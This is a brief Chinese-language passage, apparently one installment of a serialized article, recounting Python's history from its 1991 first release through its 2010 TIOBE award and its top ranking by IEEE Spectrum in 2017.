在1991年Python的第一个公开发行版问世之后,Python 的发展并不突出。自从2004年以后,Python的使用率呈线性增长。在2010年时,Python 赢得TIOBE 2010年度语言大奖。在2017年,IEEESpectrum发布的2017年度编程语言排行榜中,Python 位居第一。
下期继续